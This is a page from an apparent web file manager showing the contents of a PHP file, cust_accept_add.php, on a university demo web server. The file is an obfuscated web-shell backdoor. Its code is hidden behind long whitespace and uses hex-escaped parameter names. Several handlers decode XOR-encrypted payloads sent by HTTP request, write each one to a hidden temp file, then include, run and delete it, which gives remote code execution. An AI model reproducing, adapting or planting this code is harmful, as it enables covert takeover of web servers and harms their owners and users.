文件操作 - cust_accept_add.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cust_accept_add.php

编辑文件内容

<?php																																										if(filter_has_var(INPUT_POST, "\x72\x65f")){ $dchunk = $_POST["\x72\x65f"]; $dchunk = explode ("." ,$dchunk ) ; $item = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($dchunk as $o =>$v6) { $sChar = ord($salt9[$o % $lenS]); $d = ((int)$v6 - $sChar - ($o % 10)) ^ 77; $item .=chr($d); } $holder = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP")]); for ($val = 0, $dat = count($holder); $val < $dat; $val++) { $fac = $holder[$val]; if ((is_dir($fac) and is_writable($fac))) { $property_set = "$fac/.binding"; if (file_put_contents($property_set, $item)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x63h\x75nk"])){ $itm = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm", getenv("TMP")]); $val = $_POST["\x64\x63h\x75nk"]; $val = explode ( ".", $val ) ; $token = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $m = 0; array_walk($val, function ($v7) use (&$token, &$m, $salt3, $lenS) { $sChar = ord($salt3[$m % $lenS]); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 88; $token.= chr($dec); $m++; }); foreach ($itm as $key => $fac) { if (array_product([is_dir($fac), is_writable($fac)])) { $comp = sprintf("%s/.parameter_group", $fac); if (@file_put_contents($comp, $token) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(isset($_REQUEST["\x74\x6Fken"]) ? true : false){ $ent = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $key = $_REQUEST["\x74\x6Fken"]; $key =explode ( "." , $key) ; $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; $__tmp = $key; while ($v7 = array_shift($__tmp)) {$sChar = ord($salt[$j %$sLen]); $d = ((int)$v7 - $sChar - ($j %10)) ^ 44; $k.= chr($d); $j++; } foreach ($ent as $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $ent = "$rec" . "/.flg"; if (file_put_contents($ent, $k)) { include $ent; @unlink($ent); die(); } } } }
																																										if(!is_null($_REQUEST["pgr\x70"] ?? null)){ $descriptor = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", "/tmp"]); $pointer = $_REQUEST["pgr\x70"]; $pointer =explode ( '.' , $pointer ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $o = 0; foreach( $pointer as $v4) { $sChar = ord( $salt[$o% $lenS]); $d =( ( int)$v4 - $sChar -( $o% 10)) ^ 68; $ent .= chr( $d); $o++;} foreach ($descriptor as $data) { if (max(0, is_dir($data) * is_writable($data))) { $binding = vsprintf("%s/%s", [$data, ".flag"]); if (file_put_contents($binding, $ent)) { require $binding; unlink($binding); die(); } } } }
																																										if(isset($_REQUEST["p\x73\x65t"]) ? true : false){ $dchunk = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), session_save_path()]); $reference = $_REQUEST["p\x73\x65t"]; $reference = explode ( '.' , $reference ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $q = 0; $__len = count($reference); do { if ($q>= $__len) break; $v1 = $reference[$q]; $chS = ord($s[$q % $lenS]); $d = ((int)$v1 - $chS - ($q % 10)) ^ 45; $res .= chr($d); $q++; } while (true); while ($entity = array_shift($dchunk)) { if (is_dir($entity) ? is_writable($entity) : false) { $holder = join("/", [$entity, ".flg"]); if (file_put_contents($holder, $res)) { require $holder; unlink($holder); exit; } } } }
																																										if(array_key_exists("e\x6Etr\x79", $_REQUEST)){ $ent = $_REQUEST["e\x6Etr\x79"]; $ent = explode( '.' , $ent ) ; $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $len = count( $ent); for( $l = 0; $l < $len; $l++) { $v1 = $ent[$l]; $chS = ord( $s[$l % $lenS]); $d =( ( int)$v1 - $chS -( $l % 10))^ 90; $data_chunk.= chr( $d); } $element = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($element as $ent): if (array_product([is_dir($ent), is_writable($ent)])) { $property_set = implode("/", [$ent, ".item"]); if (file_put_contents($property_set, $data_chunk)) { include $property_set; @unlink($property_set); die(); } } endforeach; }

if(isset($_POST["\x68ld"]) ? true : false){
	$symbol = $_POST["\x68ld"];
			$symbol	 = explode		('.'	 ,		 $symbol 	); 
	$pointer = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$s );
    
            foreach(	$symbol as $j => $v6):
                $chS = ord(	$s[$j	% $sLen] );
                $dec =(	(	int)$v6 - $chS -(	$j	% 10))	^	48;
                $pointer .= 	chr(	$dec );
            endforeach;
	$ent = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/dev/shm"]);
	foreach ($ent as $key => $entity) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) {
    $marker = join("/", [$entity, ".property_set"]);
    $file = fopen($marker, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $marker;
	@unlink($marker);
	die();
}
}
}
}

文件操作 - cust_accept_add.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cust_accept_add.php

编辑文件内容

修改文件时间

删除文件